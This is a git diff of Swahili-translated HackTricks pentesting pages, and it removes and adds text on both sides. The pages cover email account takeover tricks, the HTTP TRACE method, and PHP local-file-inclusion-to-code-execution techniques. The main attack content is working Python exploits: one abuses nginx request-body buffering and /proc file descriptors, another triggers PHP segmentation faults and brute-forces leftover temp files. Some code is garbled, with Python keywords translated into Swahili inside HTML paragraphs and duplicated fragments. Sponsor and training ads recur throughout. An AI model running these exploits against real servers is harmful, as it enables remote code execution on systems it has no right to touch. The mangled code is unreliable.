Sajili barua pepe, kabla ya kuisahihi, badilisha barua pepe, kisha, ikiwa barua pepe mpya ya uthibitisho inatumwa kwa barua pepe ya kwanza iliyosajiliwa, unaweza kuchukua barua pepe yoyote. Au ikiwa unaweza kuwezesha barua pepe ya pili kuthibitisha ile ya kwanza, unaweza pia kuchukua akaunti yoyote.
|
||||
|
||||
### Pata Huduma ya Ndani ya kampuni kwa kutumia atlassian
|
||||
### Kufikia Dawati la Huduma za Ndani za Kampuni zinazotumia atlassian
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
|
||||
### Njia ya TRACE
|
||||
### Mbinu ya TRACE
|
||||
|
||||
Watengenezaji wanaweza kusahau kuzima chaguo mbalimbali za kurekebisha katika mazingira ya uzalishaji. Kwa mfano, njia ya HTTP `TRACE` imeundwa kwa madhumuni ya uchunguzi. Ikiwa imezimishwa, seva ya wavuti itajibu maombi yanayotumia njia ya `TRACE` kwa kutoa jibu la maombi halisi yaliyopokelewa. Tabia hii mara nyingi haileti madhara, lakini mara chache inasababisha ufichuzi wa habari, kama jina la vichwa vya uwakilishi wa ndani ambavyo vinaweza kuongezwa kwa maombi na wakala wa kurudisha nyuma.
|
||||
Wabunifu wanaweza kusahau kulemaza chaguo mbalimbali za kurekebisha katika mazingira ya uzalishaji. Kwa mfano, njia ya HTTP ya `TRACE` imeundwa kwa madhumuni ya uchunguzi. Ikiwezeshwa, seva ya wavuti itajibu maombi yanayotumia njia ya `TRACE` kwa kutoa katika jibu ombi kamili lililopokelewa. Tabia hii mara nyingi ni salama, lakini mara chache husababisha kufichua habari, kama jina la vichwa vya kuthibitisha vya ndani ambavyo vinaweza kuongezwa kwa maombi na wakala wa kurudisha.
|
||||
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,36 +1,21 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Tafiti zaidi kuhusu mashambulizi kwenye DNS**
|
||||
**Tafiti zaidi kuhusu mashambulizi kwa DNS**
|
||||
|
||||
**DNSSEC na DNSSEC3**
|
||||
|
||||
**DNS katika IPv6**
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumia **dark-web** ambayo inatoa huduma za **bure** za kuangalia ikiwa kampuni au wateja wake wame **vamiwa** na **malware za wizi**.
|
||||
|
||||
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na programu hasidi za kuiba taarifa.
|
||||
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na zisizo za habari za kuiba.
|
||||
|
||||
Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
|
||||
|
||||
|
|
@ -28,7 +28,7 @@ Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
|
|||
|
||||
***
|
||||
|
||||
## Mpangilio wa Kudhaifu
|
||||
## Mpangilio Wenye Udhaifu
|
||||
|
||||
[**Mfano kutoka https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
|
|
@ -36,36 +36,26 @@ Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
|
|||
|
||||
\`\`\`\`h\`
|
||||
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Angalia: Hauwezi kuingiza moja kwa moja \`/proc/34/fd/15\` katika mfano huu kwa sababu kazi ya `include` ya PHP itatatua njia kuwa `/var/lib/nginx/body/0000001368 (deleted)` ambayo haipo kwenye mfumo wa faili. Kizuizi hiki kidogo kinaweza kuepukwa kwa njia fulani ya kuelekeza kama: `/proc/self/fd/34/../../../34/fd/15` ambayo mwishowe itatekeleza maudhui ya faili iliyofutwa ya `/var/lib/nginx/body/0000001368\` ## Exploit Kamili \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'```
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Angalia: Hauwezi kuingiza moja kwa moja \`/proc/34/fd/15\` katika mfano huu kwa sababu kazi ya `include` ya PHP itatatua njia kuwa \`/var/lib/nginx/body/0000001368 (deleted)\` ambayo haipo kwenye mfumo wa faili. Kizuizi hiki kidogo kinaweza kuepukwa kwa njia fulani ya kuelekeza kama: \`/proc/self/fd/34/../../../34/fd/15\` ambayo mwishowe itatekeleza maudhui ya faili iliyofutwa ya \`/var/lib/nginx/body/0000001368\` ## Kudukua Kamili \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # duka la faili za ndani za PHP (LFI) kupitia msaada wa kuhifadhi mwili wa mteja wa nginx # angalia https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ kwa maelezo URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # pata michakato ya kazi ya nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # pakia mwili mkubwa wa mteja ili kulazimisha nginx kuunda /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
```
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
```
|
||||
```html
|
||||
<h2>Kutuma Mzigo wa Payload</h2>
|
||||
```swahili
|
||||
def send_payload_worker(requests_session): while True: send_payload(requests_session)
|
||||
|
||||
<p>Wakati wa Kufanya Hivyo: Wakati wote</p>
|
||||
def send_payload_multiprocess(requests_session): # Tumia CPUs zote kutuma mzigo kama mwili wa ombi kwa Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()
|
||||
|
||||
<p>Kutuma Mzigo wa Payload kwa Kutumia Michakato Mbalimbali</p>
|
||||
def generate_random_path_prefix(nginx_pids): # Mbinu hii inajenga njia kutoka kwa idadi ya vipengele vya njia za ProcFS. Njia iliyoundwa itaonekana kama /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||
|
||||
<p>Matumizi ya CPU Zote kwa Kutuma Mzigo kama Mwili wa Ombi kwa Nginx</p>
|
||||
def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Bendera zimepangwa kama hxp{} if "hxp" in d: print("Pata bendera! ") print(d)
|
||||
|
||||
<p>Kuzalisha Kiambishi cha Njia ya Kipekee</p>
|
||||
def read_file_worker(requests_session, nginx_pid, nginx_pids): # Skani za FD za Nginx kati ya 10 - 45 kwa mzunguko. Kwa kuwa faili na soketi zinaendelea kufungwa - ni kawaida sana kwa FD ya mwili wa ombi kufunguliwa ndani ya safu hii for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()
|
||||
|
||||
<p>Mbinu hii inazalisha njia kutoka kwa idadi ya vijenzi vya njia vya ProcFS. Njia iliyozalishwa itaonekana kama /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root njia = "" idadi\_ya\_kiambishi = random.randint(0, 10) kwa \_ katika mbalimbali(idadi\_ya\_kiambishi): pid = random.choice(nginx\_pids) ikiwa random.randint(0, 1) == 0: njia += f"/proc/{pid}/cwd" vinginevyo: njia += f"/proc/{pid}/root" rudisha njia</p>
|
||||
def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()
|
||||
|
||||
<p>Kusoma Faili</p>
|
||||
|
||||
<p>Ombi la Kusoma Faili kwa Nginx PID, FD, na PIDs za Nginx</p>
|
||||
|
||||
<p>Orodha ya PIDs ya Nginx</p>
|
||||
|
||||
<p>Scan Nginx FDs kati ya 10 - 45 kwa mzunguko. Kwa kuwa faili na soketi zinaendelea kufungwa - ni kawaida sana kwa FD ya mwili wa ombi kufunguliwa ndani ya safu hii</p>
|
||||
|
||||
<p>Kusoma Faili kwa Kutumia Michakato Mbalimbali</p>
|
||||
|
||||
<p>Ikiwa **jina** == "**kuu**": Chapisha('\[DEBUG] Kuunda kikao cha maombi') kikao\_cha\_maombi = kujenga\_kikao\_cha\_maombi() Chapisha('\[DEBUG] Kupata PIDs za Nginx') nginx\_pids = pata\_nginx\_pids(kikao\_cha\_maombi) Chapisha(f'\[DEBUG] PIDs za Nginx: {nginx\_pids}') Chapisha('\[DEBUG] Kuanza kutuma mzigo') kutuma\_mzigo\_wa\_payload(kikao\_cha\_maombi) Chapisha('\[DEBUG] Kuanza wasomaji wa FD') soma\_faili\_kwa\_kutumia\_michakato\_mbalimbali(kikao\_cha\_maombi, nginx\_pids)
|
||||
if **name** == "**main**": print('\[DEBUG] Kujenga kikao cha maombi') requests_session = create_requests_session() print('\[DEBUG] Kupata Nginx pids') nginx_pids = get_nginx_pids(requests_session) print(f'\[DEBUG] Nginx pids: {nginx_pids}') print('\[DEBUG] Kuanza kutuma mzigo') send_payload_multiprocess(requests_session) print('\[DEBUG] Kuanza wasomaji wa FD') read_file_multiprocess(requests_session, nginx_pids)
|
||||
```
|
||||
```
|
||||
|
||||
|
|
@ -91,18 +81,19 @@ You can check their website and try their engine for **free** at:
|
|||
|
||||
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
||||
|
|
|
|||
|
|
@ -1,18 +1,19 @@
|
|||
# LFI2RCE kupitia Kosa la Segmentation
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Kulingana na maandishi [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (sehemu ya pili) na [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), mizigo ifuatayo ilisababisha kosa la segmentation katika PHP:
|
||||
```php
|
||||
|
|
@ -22,11 +23,11 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
|
|||
// PHP 7.2
|
||||
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
|
||||
```
|
||||
Unapaswa kujua kwamba ikiwa **unatuma** ombi la **POST** lenye **faili**, PHP itaunda **faili ya muda katika `/tmp/php<kitu>`** na maudhui ya faili hiyo. Faili hii ita **futwa moja kwa moja** mara ombi litakapoprocess.
|
||||
Unapaswa kujua kwamba ikiwa **tuma** ombi la **POST** **lenye** **faili**, PHP itaunda faili ya **muda mfupi katika `/tmp/php<kitu>`** yenye maudhui ya faili hiyo. Faili hii ita **futwa moja kwa moja** mara ombi litakapoprocess.
|
||||
|
||||
Ikiwa unapata **LFI** na unafanikiwa **kuzindua** kosa la kugawanyika katika PHP, **faili ya muda haitafutwa kamwe**. Kwa hivyo, unaweza **kuitafuta** kwa kutumia udhaifu wa **LFI** hadi uipate na kutekeleza nambari yoyote.
|
||||
Ikiwa unapata **LFI** na unafanikiwa **kuzindua** kosa la ugonjwa wa sehemu katika PHP, faili ya **muda mfupi haitafutwa kamwe**. Kwa hivyo, unaweza **kuitafuta** kwa kutumia **udhaifu wa LFI** mpaka uipate na kutekeleza nambari ya kupendelea.
|
||||
|
||||
Unaweza kutumia picha ya docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) kwa ajili ya majaribio.
|
||||
Unaweza kutumia picha ya docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) kwa majaribio.
|
||||
```python
|
||||
# upload file with segmentation fault
|
||||
import requests
|
||||
|
|
@ -69,16 +70,17 @@ bruteforce(charset)
|
|||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,22 +1,23 @@
|
|||
# LFI2RCE kupitia PHP_SESSION_UPLOAD_PROGRESS
|
||||
# LFI2RCE kupitia PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
